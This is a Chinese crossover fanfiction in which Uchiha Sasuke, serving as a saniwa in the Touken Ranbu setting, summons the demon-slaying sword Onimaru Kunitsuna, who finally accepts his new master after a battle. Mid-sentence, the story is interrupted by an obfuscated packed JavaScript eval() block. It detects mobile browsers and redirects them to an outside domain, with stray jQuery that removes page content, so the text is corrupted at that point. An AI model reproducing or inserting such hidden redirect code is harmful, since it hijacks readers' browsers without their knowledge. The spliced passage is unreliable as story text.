Summary:我在梦中看到,鬼将来到你的身边……
可以看作是接 “心之楔”
宇智波佐助成为审神者的第五个年头,本丸的时间如同被灵力浸润的溪流,沉稳地流淌。
距离那振散发着圣洁而冰冷气息的白山吉光降临,已悄然过去两年。粟田口部屋旁那间曾显得格格不入的房间,如今也沾染上了日常的暖意。白山吉光那空洞的蓝眸,在粟田口兄弟们锲而不舍的温柔浸润下,偶尔会闪过一丝近似于“困惑”或“模仿”的微光,虽然依旧精准如仪器,却不再令人感到彻骨的疏离。佐助与他之间特殊的指令式互动,也成了本丸高效运转中一个被默认的齿轮。
平静之下,新的波澜正在酝酿。
时之政府的指令光幕在议事厅展开,幽蓝的光芒映照着佐助沉静的侧脸。新的地下城活动开启,目标直指另一振传说之刃——天下五剑之一,鬼丸国纲。
与寻找白山时描述的“圣洁”与“祈愿”不同,关于鬼丸的情报字里行间透着“凶煞”、“漂泊”与“寻觅”的气息,仿佛一把渴饮恶鬼之血的凶刃在黑暗中低鸣。
消息如投入湖面的石子,在粟田口派中激起了比当年更复杂的涟漪。
“鬼丸国纲!”乱藤四郎眼睛亮晶晶的,“是国纲锻造的,也是我们粟田口的‘长辈’呢!”
药研藤四郎推了推眼镜,镜片后的目光锐利而审慎:“嗯,同属粟田口刀派。但根据记载,他辗转多家,以斩杀恶鬼闻名,性格……似乎相当孤高。”他想起语音中那句冰冷的“斩杀恶鬼以外的事,我没兴趣”和“不吉利的太刀”。
一期一振温润的笑容下藏着不易察觉的忧虑:“是啊,他漂泊已久,寻找着‘主人’和‘恶鬼’。不知本丸的日常,能否成为他的归处?”
一期一振担心这位“长辈”的煞气与疏离是否会影响他融入本丸,也有一丝忧虑那“不吉”之说是否会让本就背负沉重的佐助心生芥蒂。
平野和前田安静地听着,小脸上也浮现出既期待又忐忑的神情。骨喰藤四郎紫灰色的眸子望向窗外,不知在想什么。白山吉光站在角落,蓝眸平静地扫描着光幕信息,数据流无声划过:“目标:鬼丸国纲。属性分析:高攻击性,传说契合度:斩鬼。危险评级:待评估。”
佐助的目光扫过活动简报,在“斩杀恶鬼”和“我的主人到底是谁”的字眼上略作停留。漂泊与追寻……轮回眼的深处,一丝沉寂的涟漪无声漾开,快得无人能察。他开口,声音是一贯的清冷简洁,却蕴含着不容置疑的力量:
“目标鬼丸国纲。资源点坐标已同步。安全第一,警惕深层异常灵力波动,尤其是怨念聚集点。” 无需多言,他的意志便是刀锋所指的方向。
探索队再次集结,队长由沉稳冷静的药研藤四郎担任。这一次的地下城,气氛与寻找白山时截然不同。空气中弥漫着阴冷粘稠的灵力,仿佛无数怨魂在低语、哀嚎,黑暗中潜藏着令人不安的躁动。曲折的通道深处,扭曲的阴影不时凝聚成充满恶意的形态,攻击性远超寻常敌刀。
“小心!左侧通道,怨念反应强烈!”药研厉声示警,手中短刀划出凌厉的弧光,击溃一团扑来的污秽灵体。汗水浸湿了他的额发。不仅要收集散落的资源箱,更要时刻警惕那些仿佛被“恶鬼”传说吸引而来的怨念聚合点,压力如山。
在一次深入核心区域的遭遇战中,他们被一个由无数破碎记忆与憎恨凝聚成的巨大“怨念集合体”堵住了去路。它没有固定形态,扭曲蠕动着,发出刺穿耳膜的尖啸。苦战!刀光与灵力碰撞,爆发出刺目的火花。药研的冷静指挥、骨喰的沉默突袭、其他队员的奋力协作,终于撕开了那扭曲怪物的核心防御。
当那令人作呕的集合体轰然溃散,一个散发着深沉、锐利、甚至带着一丝若有若无血腥气的狭长千两箱,静静躺在污秽的残骸之中。药研深吸一口气,压下心头的悸动,小心翼翼地用布帛包裹好箱子,如同捧着一块灼热的烙铁。“任务完成,撤退!”他沉声下令,归途比来时更加警惕。
本丸的锻刀室前,气氛凝重得仿佛能滴下水来。粟田口兄弟们屏息凝神,目光紧紧锁定药研呈上的那个散发着不祥气息的箱子。空气仿佛凝固了,连白山吉光那恒定的扫描光都似乎停滞了一瞬。
佐助站在最前方,黑衣衬得他身形愈发挺拔孤高。他伸出手,指尖并未触碰箱体,精纯的审神者灵力如同无形的探针,注入其中。
和白山降临时的柔和光晕不同。
一道凌厉、暗沉、带着金属撕裂感的乌光骤然爆发!光芒如利刃般切割开凝滞的空气,带着令人心悸的煞气席卷整个庭院。光芒散去,一个高大、压迫感十足的身影矗立在原地。
几缕不羁白发地垂落额前,鬼角面具遮住了他的右眼。另一只锐利如鹰隼的红色瞳孔,冰冷地扫视着在场的每一个人,目光所及之处,仿佛有实质的寒意蔓延。贴身的战斗装束,勾勒出强悍的轮廓。他周身萦绕着生人勿近的孤寂与历经杀伐的凶戾之气,仿佛一柄刚刚出鞘、渴饮敌血的凶刃。
最终,那只红瞳定格在气场最强的佐助身上。低沉、带着金属刮擦般质感的声音响起,冰冷得没有一丝温度:
“……我是鬼丸国纲,天下五剑之一。为了寻找恶鬼,我四处徘徊。我的主人,到底是谁呢……” 他微微偏头,红色的瞳孔如同最精密的探测器,扫过本丸的屋檐与庭院“……这里,似乎有‘鬼’的气息……但很淡。”
开场白如同宣战檄文,宣告着一个与白山吉光截然相反的存在的到来——一个为斩鬼而生、携带着无尽煞气与漂泊之意的古老凶刃。
粟田口兄弟们准备好的欢迎词瞬间冻结在喉咙里。乱藤四郎张了张嘴,那句热情的“欢迎”被硬生生咽了回去,只化作一丝不安的抽气。本丸的温度,仿佛随着鬼丸国纲的降临骤降。
最初的磨合期,比白山那时更加艰难。鬼丸国纲像一块拒绝融化的千年寒冰。
乱藤四郎鼓起勇气,试图用亲缘拉近距离:“鬼丸先生!今天也要加油做任务哦!因为你是出自我们粟田口刀派的天下五剑嘛!”
鬼丸红色的瞳孔转向他,带着审视的意味:“……你,看起来跟我很亲近呢。” 那语气并非疑问,而是陈述一个他感到些许不解的事实。
乱连忙解释:“当然啦!你看,你和一期哥、平野他们不是也在一起待过很久吗?”
鬼丸沉默片刻,承认道:“……是啊。虽然我辗转各家,但确实也跟他们在一起待了很长时间。”
然而,当乱更进一步想表达“我们就是很亲近”时,鬼丸只是淡淡地纠正了刀工和时代的差异,精准地划开了距离,让乱的笑容僵在脸上。
一期一振以长兄的包容试图靠近:“鬼丸殿,若有任何需要,请随时告知。”
鬼丸只是微微颔首,红瞳中并无亲近之意,只余审视。
某日在回廊偶遇。
鬼丸国纲脸上带着几分无奈,轻叹道:“……哎呀哎呀。在这里也要跟你在一起吗,鬼切。”
髭切略略偏头,语气悠然:“嗯?啊——是啊。有人想要把我们凑齐呢,就像斯波一样。”
鬼丸国纲眉头微蹙,接话道:“嗯,大概是因为我们都有着斩鬼的传说吧。”
髭切似乎并不太在意,淡淡回应:“这点我就不太清楚了。斩杀妖怪的传说不是很常见吗?”
鬼丸国纲立刻反驳:“我觉得倒是罕见……不对,在这个本丸里还有其他的……”
髭切笑眯眯地打断了他:“是啊。所以说,也不用太过于强调这一点,不是吗?”
鬼丸国纲的红眸中闪过一丝不悦:“……那是因为你对传说太不注意。”
髭切轻笑出声,搬出弟弟的话:“啊哈哈。弟弟也经常这么说:‘兄长对传说和名字都太不上心了。’”
鬼丸国纲注视着对方那副随性的模样,忍不住问道:“这么说来,你现在不是鬼切,是叫髭切吗?”
髭切依旧那副无所谓的表情,答道:“嗯,确实如此。其实我倒是无所谓,但名字换来换去的,人类好像会很困惑呢。”
鬼丸国纲长长呼出一口气,揉了揉太阳穴:“……呼。跟你说话真让我头疼呢。”
两人的气场格格不入,却又因斩鬼的传说与被人为凑对的命运,无形中交织在一起。
汇报时,鬼丸的关注点极为单一:“审神者,西南方向时空节点有异常怨念波动,强度B级,疑似‘鬼’之征兆,请求探查。”
或者:“昨日出阵区域,残留戾气指数上升0.8个单位,需警惕后续异变。”
佐助的回应永远简洁至极:“已知。”“无异常。”“继续观察。”
一次汇报结束,鬼丸并未立刻离开,低沉的声音近乎自语:“……虽然我能斩杀恶鬼,但若把我放在手边,可是把不吉利的太刀啊。”
佐助从文件上抬起眼,轮回眼平静无波地看向他,声音清冷却带着奇异的穿透力:“不吉?力量本身无善恶。用之正则正。” 鬼丸的红眸骤然一缩,深深看了佐助一眼,未再言语,转身离去。
又一天,两个“异类”在训练场擦肩而过。
白山蓝眸精准扫描:“目标:鬼丸国纲。灵力属性:暗属性倾向,攻击性评级:S,斩杀传说契合度:99.8%。行为模式:高度警戒,社交意愿:极低。”
鬼丸则感受到白山那非人的、空洞的洁净气息,本能地产生一丝排斥,如同凶兽排斥另一种截然不同的存在。然而,当他看到白山在模拟战中那毫无冗余、精准到可怕的剑术轨迹时,红眸中又掠过一丝近乎于“认可”的微光——纯粹基于战斗效率的评判。
冲突在一次出阵归来后悄然爆发。
队伍遭遇了一振被强大怨念彻底侵蚀、陷入疯狂、身体呈现诡异“鬼化”特征的敌方太刀。它力大无穷,嘶吼着毫无理智的杀意。鬼丸国纲如同终于找到了猎物的凶兽,眼中燃起兴奋的金焰。他身化乌光,刀锋带着斩断一切的决绝,以令人胆寒的精准和力量,将“鬼化”敌太刀彻底斩杀。当那扭曲的躯体化为黑烟消散,鬼丸收刀而立,红眸中残留着满足的战意,仿佛完成了一次神圣的净化。
目睹全程的药研藤四郎,在战后手入时,一边擦拭刀刃,一边状似无意地开口:“鬼丸殿,关于前主……比如关白大人,或是右府大人您有何看法?”
鬼丸擦拭刀身的手顿了顿,声音冷硬:“我很快就被转赠了。至于右府大人……” 他红眸中闪过一丝复杂的厉色,“听说他轻易就会手刃家臣。”
药研推了推眼镜,语气平静:“说到信长,虽然后世之人众说纷纭,但他是个非常有分寸的人哦。也经常反省自己年轻时候的所作所为。”
鬼丸猛地抬眼,锐利的目光刺向药研:“你说什么?手刃家臣,这还叫有分寸?”
药研直视着他:“啊,他确实做过。不过这在那个时代也算是常有的事了。”
鬼丸沉默下去,红眸深处翻涌着冰冷的怒火与更深的警惕。人……人心中的恶念与疯狂,是否才是真正的、更值得警惕的“恶鬼”?他所追寻的,到底是什么?
真正的考验在一次高难度出征中降临。
由一期一振担任队长,鬼丸、药研、鲶尾、骨喰、五虎退组成的队伍,在时空夹缝中遭遇了前所未有的危机——时空乱流裹挟着一个由纯粹历史负面情感与绝望怨念凝聚成的无形“鬼”。
它没有实体,却能直接攻击心灵,唤起刀剑男士内心最深沉的恐惧与痛苦记忆。五虎退的小老虎虚影在哀嚎中消散,鲶尾紧握着本体刀的手因重现被烈火灼烧的过往而颤抖,骨喰紫灰色的眼眸因闪回的记忆碎片而失焦,连一期一振温润的脸上也因强行抵抗幻象和精神冲击而布满冷汗,守护弟弟们的动作渐显迟滞。
鬼丸国纲引以为傲的斩鬼之刃的身份,面对这无形的“心鬼”,第一次感到了无力。他红色的瞳孔因愤怒和焦躁而收缩,挥出的刀光只能勉强驱散一些外围的怨念黑雾,却无法触及核心。
那句“我可没有精力去保护其他人哦”的宣言,在此刻残酷的现实面前,显得如此苍白可笑。他看到鲶尾为了掩护骨喰,被无形的精神冲击震得踉跄吐血;看到一期一振强撑着挡在弟弟们身前,甲胄上灵光闪烁不定,仿佛随时会熄灭。一种从未有过的、名为“焦灼”的情绪,如同冰冷的藤蔓缠上了他的核心。
就在绝望蔓延之际,一股庞大、冰冷、带着终结万物般沉重压迫感的力量,通过审神者契约强行降临战场!
是佐助!为了定位并击溃“鬼”的核心,他短暂地、有控制地释放了自己灵魂深处那滔天执念、刻骨孤独与吞噬一切的黑暗——一个巨大的、由纯粹负面情感构成的“心鬼”虚影,如同魔神般在战场一角轰然具现!那虚影带着宇智波鼬的傲慢与鸣人燃烧的查克拉残像,纠缠着佐助自身的痛苦与决绝。恐怖的威压瞬间笼罩全场,连无形的“鬼”都发出尖利的嘶鸣,被这更强大、更纯粹的黑暗所吸引,核心暴露无遗!
鬼丸国纲的红眸骤然收缩到极致!他死死盯着佐助具现化的“心鬼”虚影,又猛地看向虚影后方,佐助本体那因强行释放力量而略显苍白却依旧坚毅沉凝的脸庞。瞬间,无数碎片拼凑完整——缠绕在佐助身上的深沉气息,那漂泊者的孤高背影,那不为“不吉”所动的力量观……原来如此!那是最深沉的人之执念,是业障,是黑暗!但同时……
这句冰冷的语音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217889|181055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在鬼丸脑中轰然炸响!眼前的“鬼”是鬼!佐助释放的“心鬼”是鬼!而他自己追寻的,不正是这些吗?但更关键的是——佐助释放这足以令人窒息的黑暗,不是为了毁灭,而是为了守护!为了吸引“鬼”,保护这些信任他、呼唤他为主人的刀剑男士!黑暗的核心,竟是为了守护?
没有犹豫!在佐助的“心鬼”虚影牢牢牵制住“鬼”核心的刹那,鬼丸国纲动了!他将千年漂泊的孤寂、对恶鬼的无穷执念、以及此刻心中翻涌的、连他自己都未曾命名的激荡,全部化作斩断一切的意志,灌注于刀身!他化作一道撕裂时空的乌光,目标并非佐助的虚影,而是被那虚影锁定的、暴露无遗的“鬼”核心!
“斩——!”
一声低沉却仿佛来自幽冥的断喝!乌光如裁决之刃,带着斩断一切业障、涤荡所有污秽的决绝,精准无比地贯入那蠕动的怨念核心!
“嗷——!!!”
凄厉到超越听觉极限的尖啸响彻时空夹缝!庞大的“鬼”如同被戳破的气球,剧烈地扭曲、膨胀,最终在刺目的乌光中轰然崩解!混乱的灵力乱流如同失控的潮汐般向四周猛烈冲击!
一块凝聚着最后怨毒的巨大碎片,裹挟着毁灭性的力量,直直砸向离得最近、因精神冲击尚未完全回神的五虎退!
“退——!”一期一振目眦欲裂,却被另一股乱流阻挡。
千钧一发!一道深色的身影如同鬼魅般飞扑而至!是鬼丸!他用宽阔的后背和坚硬的刀鞘,将吓呆的五虎退严严实实地护在身下!
“砰——咔嚓!”
沉重的撞击声伴随着甲胄金属扭曲的刺耳刮擦声响起!鬼丸闷哼一声,身体剧震,抱着五虎退在地上翻滚了几圈才卸去力道。他深色的甲胄后背,赫然出现了一道深深的凹痕和蛛网般的裂痕。
混乱平息,时空乱流渐渐稳定。佐助第一时间收敛了力量,“心鬼”虚影消散,他脸色苍白,额角沁出细汗,轮回眼却锐利如初,迅速扫过战场确认每个人的状况。目光落在用身体护住五虎退、甲胄受损的鬼丸身上时,那深沉的眸底,一丝极快的东西闪过——是认可,亦是了然。
“谢、谢谢……鬼丸先生……”五虎退在鬼丸怀里惊魂未定地小声道谢,声音带着哭腔。
鬼丸僵硬地松开手,站起身,动作牵扯到背后的伤处,眉头微不可察地皱了一下。他没有看五虎退,只是侧过身,声音依旧低沉,却少了往日的冰冷,多了一丝不自在的沙哑:“……恶鬼已除。” 仿佛只是在陈述一个任务结果。
一期一振快步上前,不顾自己身上的狼狈,对着鬼丸郑重地、深深地鞠躬:“鬼丸殿!万分感谢!若非您及时出手相救……” 他的声音充满了真挚的感激和温暖。
鬼丸沉默地受了这一礼,红眸低垂,不知在想什么。片刻后,他迈步走向佐助。
佐助也正看着他。两人在尚未完全平息的灵力乱流中对视。鬼丸红色的瞳孔深深地看着审神者,仿佛第一次穿透了那层孤高的外壳,直视其灵魂的底色。
他缓缓开口,声音低沉,却带着前所未有的清晰,如同拨开了千年迷雾:
“宇智波佐助……你心中盘踞着强大的‘鬼’。” 这是对初次见面时感知的确认。
佐助没有否认,轮回眼平静无波,坦然而直接:“啊。那是我的过去,我的业障,也是我的力量之源。” 他承认自己的黑暗,如同承认呼吸。
鬼丸的目光扫过围拢过来的、带着劫后余生庆幸与对他关切目光的粟田口兄弟们——一期眼中的感激,药研镜片后放松的神情,五虎退依赖的眼神,鲶尾那毫不掩饰的敬佩……最后,他的目光落回佐助身上。
“……但你用它,” 鬼丸的声音带上了一种近乎顿悟的沉凝,“斩向了更凶恶之鬼。守护了……这里。”
他顿了顿,仿佛在咀嚼一个全新的定义,“斩杀恶鬼以外的事,我没兴趣……但守护此处安宁,亦是斩鬼之责。” 他将“守护”二字,郑重地纳入了自己千年追寻的使命之中。
他微微垂下眼帘,又抬起,红色的瞳孔中,那漂泊千年的迷茫与寻觅,第一次沉淀下来,化作一个明确的落点,直视着佐助深邃的眼眸:
“我的主人,到底是谁呢……或许,我已不必再去他处寻找了。” 他没有直接称呼“主人”,但那份归属的承诺,那份对眼前之人作为“主君”资格的最终认可,已然清晰无比。他选择了留在这片有需要斩杀的“鬼”,无论有形无形,也有他愿意以刀锋守护之人的土地。
自那以后,鬼丸国纲依旧是本丸中沉默寡言的存在。他依然会在感受到异常怨念时,用那低沉的声音说出“等鬼来了,再叫我吧”。然而,当他独自坐在回廊的阴影下,看着庭院里嬉笑追逐的粟田口短刀们时,那双锐利的红色眼眸深处,不再只有冰冷的审视,多了一丝连他自己都未曾察觉的、极其微弱的柔和。
他依旧会和髭切在回廊偶遇时话不投机,听着对方那散漫的发言而眉头紧锁,发出“跟你说话真让我头疼”的抱怨。但那份“头疼”里,似乎悄然掺杂了点无可奈何的熟稔,甚至……一丝微不可查的容忍?
他开始指导粟田口的短刀们剑术,尤其是平野和前田。他的指导严厉近乎苛刻,动作要求精准到毫厘,话语简洁冰冷:“太慢!”“角度偏移!”“力量不足!” 平野和前田练得满头大汗,小脸紧绷,却咬着牙一丝不苟地执行。一期一振在一旁看着,脸上带着温和的笑意,他知道,这是鬼丸殿表达“亲近”的独特方式。
训练场上,白色的身影与深色的身影偶尔交错。白山吉光蓝眸精准地分析着鬼丸的招式:“鬼丸国纲,斩击路线优化建议:角度偏移3.5度可提升破甲效率7.2%,灵力消耗降低1.8%。” 鬼丸收刀,冷哼一声,金眸瞥向白山:“哼,花架子。能斩到鬼才是真本事。” 然而,下一次他挥刀演练时,那斩击的角度,似乎真的微妙地调整了那么一点点。一种基于对彼此强大本质的认可而建立的、别扭却稳固的共存。
某个黄昏,佐助独自立于天守阁的窗边,血红的夕阳将本丸染上一层暖金。他的目光越过层层屋檐,落在庭院一角那个如同守护影武者般静立的深色身影上。鬼丸国纲抱着双臂,倚靠在廊柱的阴影里,红色的眼眸半阖,仿佛在假寐,又仿佛在敏锐地感知着整个本丸的气息。
佐助的薄唇几不可察地动了一下,一句低语,消散在渐起的晚风中,唯有他自己能闻:
“……漂泊之刃,终寻得值得停驻之鞘么。” 轮回眼中,倒映着沉落的夕阳,和那道孤高、锋利,却不再迷茫的身影。凶刃已归,斩鬼之契,于此方庭院,无声铸成。
—————————————————————